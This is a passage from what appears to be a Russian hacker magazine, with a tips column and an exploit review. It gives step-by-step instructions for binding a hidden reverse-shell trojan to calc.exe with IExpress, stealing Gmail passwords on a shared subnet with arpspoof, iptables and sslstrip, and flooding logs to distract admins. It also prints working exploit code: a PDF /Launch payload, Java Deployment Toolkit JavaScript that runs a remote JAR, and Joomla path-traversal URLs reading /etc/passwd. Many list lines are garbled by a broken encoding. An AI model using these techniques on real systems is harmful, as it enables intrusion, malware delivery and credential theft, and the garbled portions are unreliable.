— припаять к нему коаксиальный провод, а другой его конец — к разъему для 

антенны. Сам разъем закрепляется на корпусе ноутбука.
Более подробное описание с картинками есть тут:

habrahabr.ru/blogs/modding/46483/

Если у тебя нет «сгоревшего d-link’а», как описано в статье, то все необходимое 
можешь найти в магазине типа «Мегачип» или «Чип и Дип». Там же могут подска-
зать, что тебе конкретно необходимо.
Но лично я паяльник только на картинках видел. А в WiFi, как известно, сверхвы-
сокие частоты, потому неумеючи можно либо спаять с гигантскими потерями в 
силе сигнала, либо вообще испортить карточку.
 Но есть другой экономный вариант — использовать мини USB WiFi-адаптер (в 
простонародье  — «свисток»). Размером он с флешку, стоит от 500 руб.
Отличный вариант, особенно с учетом того, что его можно повестить на USB-удли-
нитель, не боясь потери силы сигнала. А стандарт USB поддерживает провода до 
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ХАКЕРСКИЕ 
СЕКРЕТЫ 
ПРОСТЫХ 
ВЕЩЕЙ 

ЗАДАЧА:  НАЙТИ СКРЫТЫЕ ДИРЕКТО-
РИИ И ФАЙЛЫ НА ВЕБ-СЕРВЕРЕ

РЕШЕНИЕ:
Очень часто при взломе необходимо обнаружить скрытые файлы и директории на 
сервере. Например, спрятанную CMS-админку, файлики с конфигами или какой-то 
другой критической информацией, которые не были должным образом спрятаны 
или удалены. Для начала, конечно же, стоит воспользоваться всевидящим Гуглом 
(или аналогичным поисковиком) с его операторами site, inurl, filetype и т.д., надеясь 
на то, что админ забыл ограничить его. Но есть и более злые методы. Представляю 
тебе многопоточный  URL-брутфорсер DirBuster, являющийся частью OWASP. 

owasp.org/index.php/Category:OWASP_DirBuster_Project

Это Java-приложение отличается достаточно широкими возможностями и отличной 
производительностью (обещают до 6000 запросов)! У меня вышло в среднем 300 
запросов в секунду при стандартных настройках производительности.
Перечислю основные фичи:

1. Ðåêóðñèâíûé ïîèñê äèðåêòîðèé è ôàéëîâ, íà÷èíàÿ ñ ëþáîé äè-

ðåêòîðèè;

2. Ïîääåðæêà ïðîêñè;

3. Ïîääåðæêà HTTP-àóòåíòèôèêàöèè;

4. Ïîääåëêà HTTP-çàãîëîâêîâ;

5. URL fuzzing;

6. Ïåðåáîð âàðèàíòîâ êàê ïî ñëîâàðÿì, òàê è ïî ñèìâîëàì.

Программа проста в использовании, поясню только одну опцию. Сейчас для 
навигации очень часто используются всевозможные скрипты, поэтому прямые пути 
к файлам недоступны. Тут нам и поможет URL fuzzing. Все, что от нас требуется — это 
указать, какую часть URL следует перебирать, используя пометку {dir}.
Например:

/show.php?p={dir}.html

И программа вместо {dir} будет подставлять значения из своей базы.
Признаюсь, что при всей своей крутости программа сыровата.
В последней версии (1.0rc1) — злой глюк в рекурсии, поэтому иногда можно использо-
вать предыдущую версию (0.12). Стандартные базы слов содержат очень много мусора. 
И, что хуже всего, хоть программа и имеет возможность работы без GUI через консоль, 
но ее возможности в этом случае очень ограничены. А так — цены бы ей не было.
И еще, в связи с производительностью и объемом запросов (см. рисунок), которые 
DirBuster отправляет при сканировании, можно использовать его для засорения 
логов, таким образом отвлекая админов от реального вектора атаки.
 

¹ 1

¹ 2

За пару минут логи apach обросли мусором на 20 мегабайт

Брутфорсим скрытые директории и файлы.



ЗАДАЧА: СОЗДАТЬ PORTABLE-ВЕРСИЮ 
ЛЮБИМОЙ ПРОГРАММЫ.

РЕШЕНИЕ: 
Очень часто появляется необходимость иметь любимое ПО под 
рукой, например, на флешке, чтобы установленный софт не оставил 

после себя следов. Но настоящие portable-версии ПО производи-
тели редко создают. Можно самому «собрать» программу после ее 
установки, но искать все ее части, разбросанные по системе, перена-
страивать — дело неблагодарное. В этом деле нам поможет ThinApp 
(раньше называлась Thinstall) от VMWare. С официального сайта 
можно скачать триал-версию, но если т0ебе не требуется что-то 
исключительное, например, поддержка Win7 или 64-битных систем, 

5 метров, что позволяет дотянуть «свисток», например, до окна. Есть «свистки» с 
выходами на внешнюю антенну. Но самое забавное — возможность совмещения 
баночной антенны и WiFi-«свистка», что дает +5 dBi. Просто, доступно и практич-
но для дома. Инструкция с картинками:

korolshop.narod.ru/WiFi/wifi.htm

При выборе «свистка» загляни на форум античата. Там есть список WiFi-адапет-

ров и «свистков», которые лучше всего подходят для вардрайвинга. 

forum.antichat.ru/showthread.php?t=57249

Дополнительный бонус: если ты извращаешься и запускаешь BackTrack на 
виртуалке от VMware, то со встроенными WiFi-картами у тебя ничего не получится, 
ибо BackTrack их не увидит (проблемы с эмуляцией WiFi). А вот «свисток» на чип-
сете rt2570 или rt73 и обнаруживается, и поддерживает необходимые функции.

ЗАДАЧА: СОЗДАТЬ СВОЙ СЛОВАРЬ 
ДЛЯ БРУТФОРСЕРА

РЕШЕНИЕ:
Сейчас существует множество всевозможных брутфорсеров. Некоторые из них 
поддерживают посимвольный и словарный перебор, использование регулярных 
выражений, но не все. А что, если наделить брутфорсер такими возможностями? 
А иногда бывает необходимо создать специфический словарь, если известны 
какие-то символы пароля или, например, привычки человека.
Как вариант, можно заюзать такую тулзу как crunch. Что приятно — она входит 
в BackTrack и довольно динамично развивается. Последняя версия на момент 
подготовки материала рубрики — 2.4 — есть на диске.
А скачать ее можно тут:

sourceforge.net/projects/crunch-wordlist/

На входе задаешь необходимую спецификацию, в итоге получаешь словарь (фай-
лом или через stdout), который можно запихнуть в любой брутфорсер, например, 
в вышеописанный DirBuster.  Возможности широки, поэтому приведу только пару 
примеров, чтобы ты проникся этой тулзой и вспомнил о ней, когда возникнет 
необходимость.

./crunch 4 6 -f charset.lst mixalpha-space -o START -c 100000

где 4 и 6 — минимальная и максимальная длина слова в словаре,
-f charset.lst mixalpha-space — набор символов из charset.lst, который нужно 
использовать, в данном случае — алфавит в обоих регистрах и пробел.
-o START -c 500000 создаст несколько файлов, разбивая твой словарь по 100000 
записей в каждом.
Если словарь создается очень долго, то ты можешь остановить, а потом возобно-
вить процесс, используя предыдущую команду с аргументов –r.
Кстати, charset.lst можно поменять и настроить под себя, введя, к примеру, под-
держку русского языка. В этом файле наборы символов перечисляются в квадрат-
ных скобках и нарекаются именем, чтобы к ним можно было потом обратиться из 
crunch’а. Таким образом, добавив в этот файл строку следующего вида:

rualpha=[àáâãäååæçèéêëìíîïðñòóôõøùüúýþÿ]

мы добавим возможность создавать чисто русские словари, указывая rualpha в 
качестве аргумента к crunch’у.

./crunch 7 7 -t @DOG@%^ ABCDabcd 1369 @#$%^ -o wordlist.txt

Итог примера:

…

cDOGd9%

cDOGd9^

dDOGA1@

dDOGA1#

…

Данной командой ты создашь словарь из семи символьных слов по заданному 
шаблону(-t), где @ заменяется алфавитным символом, % — цифрой, ̂  — спецсим-
волом из указанных наборов символов. Итог запишется в wordlist.txt. 
Следующая команда создаст словарь из всевозможных комбинаций слов 
после аргумента –m. Указывать длину слова надо обязательно, хотя она и не 
учитывается:

./crunch 1 1 -m Happy Birthday Masha

Итог примера:

…

MashaBirthdayHappy

MashaHappyBirthday

BirthdayMashaHappy

…
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Итог работы crunch’а. упс…
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ВЗЛОМ

ЗАДАЧА:  СПРЯТАТЬ ТРОЯН В ЛЮБОМ 
EXE-ФАЙЛЕ

РЕШЕНИЕ:
В прошлом номере я рассказывал о способе создания трояна с использова-
нием только msfpayload, и о том, как его спрятать с помощью msfencode (части 
Metasploit), объединив с каким-либо exe-файлом. У этого метода объединения 
файла есть одна проблема: получившийся exe-файл запускает не программу, 
с которой был объединен троян, а только его самого, так как происходит изме-
нение точки входа в программу, да и вообще :)...
Есть один старый и легальный метод для объединения файлов. И, что приятно, 
встроенный в винду. Потому ты можешь использовать его и на благое дело.
Имя программы, которой мы воспользуемся — IExpress. Для примера я объ-
единил троян, созданный в прошлом номере, и стандартный калькулятор.
Но начну по порядку:

1. Êîïèðóåì òðîÿí (reverse.exe) è êàëüêóëÿòîð íà ðàáî÷èé ñòîë;

2. Ñîçäàåì ôàéë sbd.vbs è ïèøåì â íåãî:

Set wshshell = WScript.CreateObject(«WScript.Shell»)

wshshell.run «calc.exe»,1, False

wshshell.run «reverse.exe»,0,False 

Итак, мы создали скрипт на Visual Basic, который по очереди запускает оба 
наших exe-файла. Параметры, передаваемые wshshell.run:

1. Èìÿ ôàéëà äëÿ çàïóñêà;

2. Îòîáðàæàòü ëè îêíî ïðîãðàììû ïðè çàïóñêå, ãäå 0 — íåò, 1 — äà 

(åñòü è äðóãèå âàðèàíòû);

3. Æäàòü ëè çàêðûòèÿ ïðîãðàììû ïåðåä âûïîëíåíèåì ñëåäóþùåãî 

îïåðàòîðà.

После этого мы запускаем iexpress (Пуск  Выполнить  iexpress) и следуем 
указаниям мастера:

1. Äàëåå — Äàëåå;

2. Ëþáîå íàçâàíèå;

3. Äàëåå — Äàëåå;

4. Äîáàâëÿåì ôàéëû, êîòîðûå õîòèì îáúåäèíèòü â ïàêåò (sbd.vbs, 

reverse.exe, calc.exe);

5. Âûáèðàåì ïðîãðàììó äëÿ çàïóñêà ïðè ñòàðòå (ïîêà ÷òî ëþáóþ èç 

íèõ);

6. Äàëåå — Äàëåå;

7. Ââîäèì ïóòü äëÿ ñîõðàíåíèÿ ïàêåòà è ñòàâèì îáå ãàëêè (ff1.

exe);

8. Ãàëêó íà NoRestart;

9. Äàëåå — Äàëåå.

В результате на рабочем столе должны появиться два файла: настройки ff1.
sed и ff1.exe.
Лезем в ff1.sed и меняем там значение  AppLaunched на следующее, которое 
запустит наш vb-скрипт:

AppLaunched=cscript sbd.vbs

Запускаем iexpress и пересоздаем пакет на основе нового SED (выбирается 
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то можешь нарыть версию 3.х, которая удовлетворит большинство 
пожеланий. 
Идея такова: ThinApp сканирует реестр и файловую систему твоей ОС до 
установки необходимой тебе программы и после, прослеживает изме-
нения, внесенные ею, и создает контейнер — портативную виртуальную 
ОС вместе со всеми частями твоей программы, реестром. То есть, после 
запуска получившегося exe’шника откроется твоя программа в виртуаль-
ной среде окружения. 
Для примера я создал и запустил 7, 8 версии IE в XP со стандартной IE6 
(см. рисунок).
От слов — к делу. Одно замечание: желательно все это проводить на чис-
той системе, то есть без лишнего ПО и со стандартным реестром. Поэтому 
используют виртуальную ОС.

1. Êà÷àåì è óñòàíàâëèâàåì ThinApp;

2. Çàïóñêàåì ThinApp Setup Capture è âûïîëíÿåì ïðåäâàðèòåëüíîå 

ñêàíèðîâàíèå;

3. Óñòàíàâëèâàåì íóæíîå ÏÎ, åñëè íåîáõîäèìî — ïåðåçàãðóæàåì êîìï;

4. Íàñòðàèâàåì íàøå ÏÎ;

5. Óäàëÿåì ëèøíèå è âðåìåííûå ôàéëû;

6. Çàïóñêàåì ïîñò-ñêàíèðîâàíèå â ThinApp;

7. Óñòàíàâëèâàåì òî÷êè âõîäà â ÏÎ, òî åñòü îñíîâíûå exe-ôàéëû 

ïðîãðàììû;

8. Îïðåäåëÿåì ìåòîä èçîëÿöèè ÏÎ;

9. Óêàçûâàåì, ãäå ôèçè÷åñêè õðàíèòü ôàéëû ïîëó÷èâøåéñÿ «ïåñî÷-

íèöû»;

10. Ââîäèì íàçâàíèå ïðîåêòà è äðóãèå íàñòðîéêè;

11. Ïîëó÷àåì exe-êîíòåéíåð íàøåãî ÏÎ;

12. Ðàäóåìñÿ!

Вообще, возможностей у ThinApp много. Более тонкая настройка каждого 
проекта осуществляется посредством файла Package.ini и ##Attributes.ini 
в папках и перестройкой build.bat
К примеру, в Package.ini можно задать следующее:

[Isolation]

DirectoryIsolationMode=Full

Получившийся контейнер не будет иметь доступа к файловой системе 
реальной ОС.
Из минусов стоит отметить снижение производительности и небольшие 
ограничения ПО, которое можно виртуализировать.

Объединение посредством IExpress



ЗАДАЧА:  ВЫНУТЬ ФАЙЛЫ ИЗ PCAP-
ДАМПА ТРАФИКА

РЕШЕНИЕ:
Программ, которые позволяют выцепить конкретные файлы из pcap-файлов 
(стандартный формат дампа сетевого трафика), достаточно много. Вот только 
большинство из них и работают не очень хорошо, и давно не поддерживаются, а 
выцепляют только картинки да html’ки. Не считая всяких платных продуктов, где 
все работает «на ура», есть пара достойных и при этом доступных прог.
Как ни странно, под Win с этой задачей отлично справился NetworkMiner. 
Все, что нужно сделать — открыть в нем требуемый pcap-файл и наслаждаться 
результатом, раскиданным по разным вкладкам. Он и анализирует быстро, и 
сортирует все хорошо, и итоги «рабочие».
Из того, что входит в комплект Back Track 4, могу посоветовать разве что 
foremost да tcpxtract. Но последний надо устанавливать из репозитория, и не 
обновляется он уже давно. 
Пример:

foremost -i dump.pcap 

Где -i dump.pcap — путь до pcap-файла с дампом трафика. Глобальные настройки производятся с помощью файла /etc/foremost.conf.

ЗАДАЧА:  УКРАСТЬ ЛОГИН И ПАРОЛЬ ОТ 
GMAIL И АНАЛОГИЧНЫХ СЕРВИСОВ, НА-
ХОДЯСЬ В ОДНОЙ ПОДСЕТИ С ЖЕРТВОЙ

РЕШЕНИЕ:
Для решения данной проблемы я напомню тебе способ, предложенный на Black 
Hat DC 2009 с использованием sslstrip.
Конечно, возможность приблизиться к жертве на расстояние «одной подсети» 
появляется не так часто, но, в то же время, взломав хотя бы одну машину из 
подсетки, мы получим  доступ к данным всех остальных.
Нам понадобится:

1. sslstrip;

2. arpspoof.

Я воспользовался BackTrack’ом, где ПО уже установлено.
В примере:

1)192.168.0.1 — îñíîâíîé øëþç;

2)192.168.0.101 — æåðòâà;

3)192.168.0.102 — õàêåð.

Итак, начнем:

arpspoof -i eth0 -t 192.168.0.101 192.168.0.1

Перед отправкой каких-либо данных во внешнюю сеть жертва делает 
ARP-запрос, чтобы узнать MAC-адрес шлюза. Данной командой мы массово 
отправляем ARP-ответы нашей жертве о том, что шлюз реально находится по 
нашему, хакерскому, MAC-адресу. Таким образом, жертва думает, что 192.168.0.1 
расположен по МАС-адресу хакера, потому все пакеты отправляет нам, а не на 
шлюз. Вообще, возможность проведения спуфинга зависит от организации сети 
и настроек маршрутизации.
Далее нам нужно, чтобы весь трафик жертвы от нас перенаправлялся на реаль-
ный шлюз, для этого пишем:

echo "1" > /proc/sys/net/ipv4/ip_forward

Вобщем-то для того, чтобы украсть пароли из HTTP и FTP-соединений, к 
примеру, этого хватило бы. Запустив любой сниффер, мы просто вылавливаем 
необходимую нам инфу.
Но хуже дело обстоит с протоколами, которые поддерживают шифрование типа 
HTTPS c его SSL и TLS. Как же тут быть?
Для HTTPS-протокола мы можем сделать что-то вроде поддельного HTTP/
HTTPS прокси-сервера. То есть данные от жертвы будут отправляться 
не сразу на шлюз, а сначала на sslstrip, точнее, устанавливать с ним 
незащищенное HTTP-соединение, а сам sslstrip уже будет устанавливать 
защищенное соединение с Gmail и редиректить данные от жертвы. Для 
этого нам потребуется, во-первых, сделать редирект HTTP-трафика на 
наш «прокси».

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j 

REDIRECT --to-port 8080

Этой командой мы редиректим весь TCP-трафик, приходящий на 80 порт, на наш 
8080.

Далее запускаем сервер sslstrip на (аргумент -l) 8080 порте и указываем, чтобы 
он вел лог всего трафика в файл sslstrip.log (аргумент -a):

sslstrip -a -l 8080

Пароли и другую интересную информацию ищем в sslstrip.log.
Сам метод имеет ряд нюансов и ограничений, связанных с кэшированием 
данных браузером, кукисами, прямым выходом на HTTPS-соединение и 
т.д. Признаюсь, что во время тестирования стабильности в результатах 
sslstrip я не добился, но все же смог украсть пасс и от Gmail’а, и от админки 
к серверу.
К тому же я проводил опыты на версии 0.2 (в поставке BT4), а последняя версия 
на время написания статьи — 0.7. В ней появилось много разных дополнитель-
ных вкусностей, так что прикладываю именно 0.7. z
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сразу при запуске iexpress). Ярлык для полученного файла можно поменять 
с помощью редактора ресурсов. На диске есть sed-файл, так что можешь 
поменять пути внутри на необходимые.

На детектируемость антивирусами запаковка почти не влияет, что логично, 
так что 18 вместо 21 из 41.
 

Выцепляем файлы NetworkMiner’ом
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  Алексей  Синцов ,  Digital  Security  dookie@inbox.ru

ИСПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА 
ИЗ PDF

CVE

CVE-2010-1239 

TARGETS

Foxit Reader до версии 3.2.1.0401 

BRIEF

Господин Дидье Стивенс (Didier Stevens) опубликовал в своем блоге 
эксплойт, позволяющий запускать произвольные приложения в 
формате PDF с помощью Acrobat Reader и Foxit Reader. При этом не 
используются никакие бреши в обработке формата. Фактически запуск 
произвольных приложений из PDF — возможность, определенная в 
спецификации формата. Интересно, что злоумышленники не заста-
вили себя долго ждать и начали использовать эту «фичу» в своих ко-
рыстных целях. Добавлю, что у пользователей Acrobat Reader меньше 
шансов быть битыми, так как при запуске приложения выскакивает 
окошко с предупреждением (правда, злоумышленник может влиять на 
текст в этом окне, что позволяет использовать при атаке социальную 
инженерию).

EXPLOIT

Итак, что же позволяет нам выполнять произвольные приложения? 
Ответ на этот вопрос можно найти в описании действия /Launch. Чтобы 

было понятно, рассмотрим формат PDF, который является не более чем 
текстовым файлом с описанием объектов, по сути выросшим из языка 
PostScript. Так вот, каждый объект имеет свой тип; нас же интересует 
тип /Action, в котором есть действие Launch. Собственно, это действие и 
приводит к запуску приложения. Рассмотрим эксплойт.

8 0 obj

<<

/Type /Action

/S /Launch

/Win

<<
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ÎÁÇÎÐ ÝÊÑÏËÎÉÒÎÂ

ВЗЛОМ
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Joomla. Радость червякам.Меня взломали калькулятором через JAVA. Работает, зараза.

Joomla. Мексиканская безопасность под угрозой. 

Ñåãîäíÿ òåáÿ æäåò î÷åðåäíîé ðàçáîð ïðîâåðåííûõ è íàèáîëåå îïàñíûõ 
ýêñïëîéòîâ ïðîøåäøåãî ìåñÿöà. Êîíå÷íî, íå âñå ñïëîéòû áóäóò ðàáîòàòü 
ëåãêî è ïðîñòî. Èíîãäà íóæíî ïîíèìàòü, ÷òî ïðîèñõîäèò â ñèñòåìå, êàê 
ôóíêöèîíèðóþò åå êîìïîíåíòû, êàê ïîâëèÿòü íà ñèñòåìó ÷åðåç óÿçâè-
ìîñòü, ÷òîáû çàñòàâèòü ðàáîòàòü òîò èëè èíîé ýêñïëîéò. Â êîíå÷íîì ñ÷åòå, 
õàêåð — ýòî íå òîò, êòî çíàåò, ÷òî, âñòàâèâ êàâû÷êó â GET–çàïðîñ, ìîæíî 
ïîëó÷èòü äîñòóï ê ÁÄ (óñëîâíûé ïðèìåð), à òîò, êòî ïîíèìàåò, ÷òî ýòà êà-
âû÷êà çíà÷èò, è êàê ýòîò çàïðîñ â ÁÄ îñóùåñòâëÿåòñÿ. 



/F (calc.exe)

/P (\nTo continue viewing the encrypted 

content\nplease click the “Don’t show this 

message again” box\nand press OK!)

>>

>>

endobj 

В первой строке мы создаем объект под номером 8 (номер порядковый), 
а далее открываем описание объекта и говорим, что это объект типа 
Action с действием Launch. Тут /F описывает имя запускаемого файла, а 
/P — это текст, который будет отображен в окошке с предупреждением в 
Acrobat Reader’е. Если мы хотим передать параметры для запускаемого 
исполняемого файла, то они так же должны идти за спецификатором /P, 
например:

/F (cmd.exe)

/P (/Q/C echo text>file)

К сожалению, параметры можно передавать только при использовании 
Acrobat Reader.
Полноценный PDF-файл можно найти на диске. 

SOLUTION

Foxit выпустили патч, который добавляет окошко с предупреждением 
об открытии файла.  В случае с Adobe, можно отключить выполнение не 
PDF-файлов в настройках в разделе Trust Manager. В общем, друзья, 
будьте внимательны...

НЕДОСТАТОЧНАЯ ПРОВЕРКА ПАРА-
МЕТРОВ В JAVA DEPLOYMENT TOOLKIT

X CVE

CVE-2010-1423 

TARGETS

Java SE 6 начиная с update 10 до update 20

BRIEF

Еще одна логическая уязвимость. В этот раз недоглядели това-
рищи из Sun Oracle. В результате мы имеем уязвимость, которая 
позволяет с помощью специально сформированной HTML-стра-
ницы удаленно выполнять произвольные JAR-файлы и даже 
подключать любые библиотеки DLL. Фактически — выполнение 
произвольного кода. Особая опасность этой уязвимости кроется 
в независимости от браузера, и ее эксплуатация возможна даже в 
Linux (пока что только по слухам). Вот они — прелести кроссплат-
форменности. Уязвимость содержится в Java Deployment Toolkit, 
которая используется для развертывания Java-приложений через 
Web.

EXPLOIT

Баг-хантер, нашедший уязвимость  — Тэвис Орманди (Tavis Ormandy) — 
опубликовал и эксплойт. Данный эксплойт открывает JAR-файл, который 

F1 — помощь в получении шелла
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НИЯ.

Наконец-то мой шелл.
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открывает калькулятор. Сплойт заточен для использования в браузерах 
FireFox и Internet Explorer. Для лисы код такой:

/*http://lock.cmpxchg8b.com/calc.jar — çëîé JAR*/

var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";

/*MIME òèï ìîæåò áûòü ðàçíûì, òàê ÷òî ñîçäàäèì äâà îáú-

åêòà*/

var o = document.createElement("OBJECT");

var n = document.createElement("OBJECT");

o.type = "application/npruntime-scriptable-

plugin;deploymenttoolkit";

n.type = "application/java-deployment-toolkit";

document.body.appendChild(o);

document.body.appendChild(n);

/*Ïðîáóåì çàïóñòèòü îáúåêò ñíà÷àëà äëÿ ñòàðîãî òèïà, 

åñëè íå âûøëî — òî äëÿ íîâîãî*/

try {

     // Old type

     o.launch(u);

} catch (e) {

     // New type

     n.launch(u);

}

А для IE — такой:

/*http://lock.cmpxchg8b.com/calc.jar — çëîé JAR*/

var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar 

none";

/*Ñîçäàåì îáúåêò, èñïîëüçóÿ åãî  êëàññîâûé ID*/

var o = document.createElement("OBJECT");

o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-

ABCDEFFEDCBA";

/*Íà÷èíàåì àòàêó…*/

o.launch(u);

Как видно, весь секрет в формате параметра для метода launch. Фак-
тически этот метод запускает javaws.exe с указанными параметрами. 
Параметр J-jar говорит, что будем запускать JAR. Вот и весь секрет. 
Независимо от Тэвиса эту же уязвимость обнаружил Рубен Сантамарта 
(Ruben Santamarta). Кроме того, Рубен предложил способ загрузки DLL, 
а не JAR. Для этого предлагается использовать не J-jar параметр, а 
J–XXaltjvm. Этот параметр говорит javaws.exe, что мы не будем использо-
вать стандартную виртуальную машину, и что у нас есть своя виртуальная 
машина, гораздо лучше. Второй вариант эксплуатации взят прямо из 
кода, написанного SUN:

if (browser == 'MSIE') 

{

 document.write('<' + 

    'object classid="clsid:8AD9C840-044E-11D1-B3E9-

00805F499D93" ' + 'width="0" height="0">' +'<' + 

 'PARAM name="launchjnlp" value="' + 

 jnlp + '"' +

 '>' + '<' + 'PARAM name="docbase" value="' + 

 jnlpDocbase + '"' + '>' + '<' + '/' + 'object' + 

 '>');

} 

else if (browser == 'Netscape Family') 

{

 document.write('<' +

 'embed type="application/x-java-applet;jpi-

version=' +

 deployJava.firefoxJavaVersion + '" ' +

         'width="0" height="0" ' +

         'launchjnlp="' +  jnlp + '"' +

ROP во всей красе.

ВЗЛОМ
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         'docbase="' +  jnlpDocbase + '"' +

         ' />');

}

Внедрять команды аналогичным образом можно с помощью перемен-
ных docbase и launchjnlp.

SOLUTION

Тэвис сообщил об уязвимости компании Oracle, но там сказали, что баг 
не критичен, и патч может подождать ежеквартального обновления. 
Однако, когда эту уязвимость начали использовать злоумышленники, 
причем, по словам Тэвиса, еще до того, как он опубликовал информацию, 
Oracle изменили свое мнение и выпустили патч, который просто убирает 
кусок кода, запускающий javaws.exe.

ЛОКАЛЬНЫЙ ИНКЛУД ФАЙЛОВ В КОМ-
ПОНЕНТАХ JOOMLA

TARGETS

• com_news_portal version 1.5.x

• com_awiki

• com_sebercart version 1.0.0.12

• com_powermail version 1.5.3

• com_jukebox version 1.7

• com_datafeeds version 880

BRIEF

Уязвимости в Web-скриптах — явление настолько частое и обыденное, 
что удивить кого-то очередным багом в плагинах для Joomla вряд ли 
удастся. Но в последнее время на сайтеexploit-db.com в разделе  Web-
эксплойтов только и присутствуют записи про плагины к этому популяр-
ному движку. Кто-то серьезно взялся за Joomla. Эти кто-то — в основном 
ребята из AntiSecurity, DevilZ TM и «частные» лица типа Valentin’а. 
За день только AntiSecurity присылали от трех до десяти эксплойтов 
для разных плагинов. Этакий распределенный аудит безопасности 
плагинов для Joomla. В результате мы имеем базу уязвимых плагинов, 
что крайне удобно. Кроме того, гугль скрипт киддисы также получат море 
удовольствия (которое нами, естественно, не одобряется). Так или иначе, 
количество сайтов с уязвимыми плагинами на Joomla переваливает за 
тысячи. Если кто напишет червячка, заражающего Joomla движки, будет 
неприятно. Лично мой OSSIM уже надоел спамом от сканов на старые 
дыры в PhpMyAdmin и RoundCube Webmail.

EXPLOIT

По понятным причинам, все уязвимости я тут описывать не буду, так как 
они однотипны. Коснемся лишь LFI-уязвимости, которая приводит к чте-

нию локальных файлов и выполнению произвольного кода. Я выделил 
шесть плагинов с таким багом. Некоторые из них достаточно популярны, 
а уязвимые сайты легко идентифицируются с помощью Google. 

http://[SITE]/index.php?option=com_sebercart&view=../.

./../../../../../../../../etc/passwd%00

http://[SITE]/index.php?option=com_powermail&controlle

r=../../../../../../../../../../etc/passwd%00

 http://[SITE]/index.php?option=com_news_portal&contro

ller=../../../../../../../../../../etc/passwd%00

http://[SITE]/index.php?option=com_awiki&controller

=../../../../../../../../../../../../../../../etc/

passwd%00

http://[SITE]/index.php?option=com_jukebox&controller=

../../../../../../../../../../etc/passwd%00

http://[SITE]/index.php?option=com_datafeeds&controlle

r=../../../../../../../../../../etc/passwd%00

Как видно из этой подборки, уязвимость кроется в переменной controller. 
А все потому, что разработчик не учел того, как фильтруется переменная 
при получении ее через JRequest::getVar(). Уязвимый код:  

// Require specific controller if requested

if($controller = JRequest::getVar('controller')) {

 require_once (JPATH_COMPONENT.DS.'controllers'.

DS.$controller.'.php');

}

Ошибка в require_once, которая подключает необработанную пе-
ременную $controller. Напоминаю разработчикам — функция 
JRequest::getVar() фильтрует только HTML-инъекцию.

SOLUTION

Если разработчик плагина не удосужился выпустить обновление, то 
либо меняй плагин, либо вручную добавь фильтрацию символов из 
набора "./". 

ПЕРЕПОЛНЕНИЕ БУФЕРА В STR_
TRANSLITERATE()

TARGETS

PHP 6.0 Dev

BRIEF

Переполнение буфера было обнаружено в одной из функций PHP 6.0. 
При передаче строки большой длины мы перезаписываем данные в 
стеке, включая адрес возврата. Очень мило. Эксплойт был опубликован 
гражданином под псевдонимом Pr0T3cT10n. Реальность атаки, конечно, 
очень мала, так как нам надо, чтобы жертва по каким-то необъяснимым 
причинам использовала версию PHP 6.0 Dev. Кроме того, в PHP-коде 
скриптов должна использоваться уязвимая функция str_transliterate(), 
в которую передается параметр из GET/POST-запроса. А еще в php.
ini должна быть настройка, позволяющая работать с unicode строками. 
Короче, в реальной жизни реализация такого эксплойта маловероятна. 
Тем не менее, через неделю выходит другая версия эксплойта, которая 
обходит DEP и ASLR. Это, с чисто академической точки зрения, уже 
намного интереснее. Вот этот эксплойт, разработанный Маттио Мемелли 
(Matteo Memelli) мы и рассмотрим.

EXPLOIT

Эксплойт представляет собой обычный PHP-файл, в котором уже 
забит шелл-код, адреса возврата и т.д. На вход скрипт принимает 4 

А тут уже egg-hunter не найден. Что за дела?
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разряда адреса (ниже поясню, какой функции). В конце файла — блок 
в виде base64. При раскодировании этот блок представляет собой 
отдельный скрипт на питоне, которые формирует GET-запросы для 
PHP-скрипта. Эксплойт должен обходить DEP и ASLR. Тут на помощь 
приходят разработчики  софта. Оказывается, не все библиотеки 
скомпилированы с поддержкой ASLR, а это значит, что, даже если ОС 
поддерживает эту технологию, базовый адрес библиотеки все равно 
будет статичным. Этим-то и воспользовался автор эксплойта, успешно 
применив технику возвратно-ориентированного программирования 
(ROP). В прошлом обзоре я уже кратко рассказывал про эту технику. 
Суть ее сводится к тому, что мы перезаписываем в стеке адрес воз-
врата на нужные нам инструкции, после которых идет инструкция RET. 
Процессор исполнит эти команды, дойдет до RET и возьмет из стека 
(контролируемого нами) следующий адрес, по которому опять будут 
исполнены необходимые инструкции, а после — опять RET. Таким 
образом, эксплойт вычисляет абсолютный адрес шелл-кода.
Таким образом мы обошли ASLR и DEP, но так и не передали управление 
шелл-коду, а только вычислили его адрес. Для этого нам осталось вы-
звать функцию копирования шелл-кода в исполняемую область памяти. 
Последний писк моды — использовать функцию WriteProcessMemory, 
которая может копировать шелл-код, например, прямо в .text секцию 
потока. То есть, в исполняемую память. Собственно адрес шелл-кода 
эксплойт вычислил с помощью ROP, адрес исполняемого потока тоже 
известен (.text секция библиотеки без поддержки ASLR). Можно вызы-
вать WriteProcessMemory.
Но не тут-то было. Дело в том, что функция эта лежит в библиотеке 
kernel32.dll, а она-то как раз точно поддерживает ASLR. Таким 
образом, мы не знаем адреса нужной нам функции.  Тут нам и по-
надобится скрипт на питоне. Дело в том, что эксплойт, как я писал 
выше, принимает параметры: разряды адреса, адреса функции 
WriteProcessMemory. Если этот адрес неверен, то Apache просто 
упадет. Но... есть одно «но» — упадет лишь созданный процесс 
апача, ведь известно, что апач создает процессы на обработку 

соединений, и пользователь работает не с родительским (основным) 
процессом, а с дочерним. В итоге, если он упадет, то ничего страш-
ного. Основной процесс породит нам еще сколько надо дочерних, 
роняй — не хочу. Так как ASLR меняет только два байта старших раз-
рядов адреса, то можно банально перебрать их, пока не наткнемся 
на адрес искомой функции и не получим шелл-код. Это, конечно, 
долго, но работает. Младшие два байта статичны и зависят лишь от 
версии ОС. Например, на моей Windows XP эксплойт не заработал, 
пришлось искать адрес функции. Так как XP не поддерживает ASLR 
вообще, то можно запустить эксплойт и без брутфорса:

http://[SITE]/pwnPhp6.php?off_s=34&pos_

s=124&rnd=0&off_e=15&pos_e=128

В параметрах байты разрядов адреса функции WriteProcessMemory.
Сам эксплойт ищи на DVD.

SOLUTION

Защититься от такой проблемы легко:
1. Не использовать уязвимую функцию;
2. Не использовать PHP 6.0 Dev;
3. Проверять длину вводимых параметров;
4. Не использовать Unicode.

ПЕРЕПОЛНЕНИЕ БУФЕРА ПРИ ИНИЦИ-
АЛИЗАЦИИ СЕССИИ В SAP MAXDB

CVE

CVE-2010-1185

TARGETS

